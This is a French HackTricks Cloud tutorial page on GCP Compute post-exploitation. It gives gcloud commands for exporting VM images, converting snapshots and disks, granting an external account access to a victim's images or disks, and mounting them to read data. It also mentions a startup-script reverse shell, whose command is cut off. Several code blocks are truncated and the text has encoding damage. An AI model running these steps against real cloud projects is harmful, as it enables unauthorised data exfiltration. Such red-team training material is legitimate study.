GCP - Compute Post Exploitation
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Compute
Pour plus dâinformations sur Compute et VPC (Networking) consultez :
Export & Inspect Images locally
Cela permettrait Ă un attaquant dâaccĂ©der aux donnĂ©es contenues dans des images dĂ©jĂ existantes ou de crĂ©er de nouvelles images de VMs en cours dâexĂ©cution et dâaccĂ©der Ă leurs donnĂ©es sans avoir accĂšs Ă la VM en cours.
Il est possible dâexporter une image de VM vers un bucket puis de la tĂ©lĂ©charger et de la monter localement avec la commande :
Exporter et télécharger une image VM
```bash gcloud compute images export --destination-uri gs://Pour effectuer cette action lâattaquant pourrait avoir besoin de privilĂšges sur le storage bucket et, pour sĂ»r, de privilĂšges sur cloudbuild car câest le service qui sera sollicitĂ© pour effectuer lâexport
De plus, pour que cela fonctionne le codebuild SA et le compute SA ont besoin de permissions privilégiées.
Le cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com a besoin de :
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
Et le SA <project-id>-compute@developer.gserviceaccount.com a besoin de :
- oles/compute.storageAdmin
- roles/storage.objectAdmin
Export & Inspect Snapshots & Disks locally
Il nâest pas possible dâexporter directement des snapshots et des disks, mais il est possible de transformer un snapshot en disk, un disk en image et, en suivant la section prĂ©cĂ©dente, dâexporter cette image pour lâinspecter localement
Créer un disque à partir d'un snapshot et une image à partir d'un disk
```bash # Create a Disk from a snapshot gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]Create an image from a disk
gcloud compute images create [IMAGE_NAME] âsource-disk=[NEW_DISK_NAME] âsource-disk-zone=[ZONE]
</details>
### Inspecter une image en créant une VM
Dans le but d'accĂ©der aux **donnĂ©es stockĂ©es dans une image** ou Ă l'intĂ©rieur d'une **VM en cours d'exĂ©cution** depuis l'endroit oĂč un attaquant **a créé une image,** il est possible d'accorder Ă un compte externe l'accĂšs Ă l'image :
<details>
<summary>Accorder l'accÚs à l'image et créer une VM</summary>
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
puis créez une nouvelle VM à partir de celle-ci :
Créer une instance VM à partir de l'image
```bash gcloud compute instances create [INSTANCE_NAME] \ --project=[TARGET_PROJECT_ID] \ --zone=[ZONE] \ --image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME] ```Si vous ne pouvez pas donner Ă votre compte externe lâaccĂšs Ă lâimage, vous pouvez lancer une VM en utilisant cette image dans le projet de la victime et faire en sorte que la metadata exĂ©cute un reverse shell pour accĂ©der Ă lâimage en ajoutant le param :
Créer une VM avec reverse shell dans metadata
```bash --metadata startup-script='#! /bin/bash echo "hello";Inspecter un snapshot/disque en le montant sur une VM
Dans le but dâaccĂ©der aux donnĂ©es stockĂ©es dans un disque ou un snapshot, vous pouvez transformer le snapshot en disque, un disque en image et suivre les Ă©tapes prĂ©cĂ©dentes.
Ou vous pouvez accorder lâaccĂšs Ă un compte externe sur le disque (si le point de dĂ©part est un snapshot, donnez lâaccĂšs au snapshot ou crĂ©ez-en un disque) :
Accorder l'accĂšs au disque
```bash gcloud projects add-iam-policy-binding [PROJECT_ID] \ --member='user:[USER_EMAIL]' \ --role='roles/compute.storageAdmin' ```Attacher le disque Ă une instance:
Attacher le disque Ă une instance
```bash gcloud compute instances attach-disk [INSTANCE_NAME] \ --disk [DISK_NAME] \ --zone [ZONE] ```Monter le disque Ă lâintĂ©rieur de la VM :
- Se connecter en SSH Ă la VM :
Se connecter en SSH Ă la VM et monter le disque
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
- Identifier le disque : Une fois dans la VM, identifiez le nouveau disque en listant les périphériques de disque. Typiquement, vous le trouverez comme
/dev/sdb,/dev/sdc, etc. - Formater et monter le disque (si câest un disque neuf ou brut) :
- Créer un point de montage :
Créer le point de montage et monter
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
- Monter le disque :
Monter le périphérique de disque
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
Si vous ne pouvez pas donner lâaccĂšs Ă un projet externe au snapshot ou au disque, vous devrez peut-ĂȘtre effectuer ces actions depuis une instance dans le mĂȘme projet que le snapshot/le disque.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

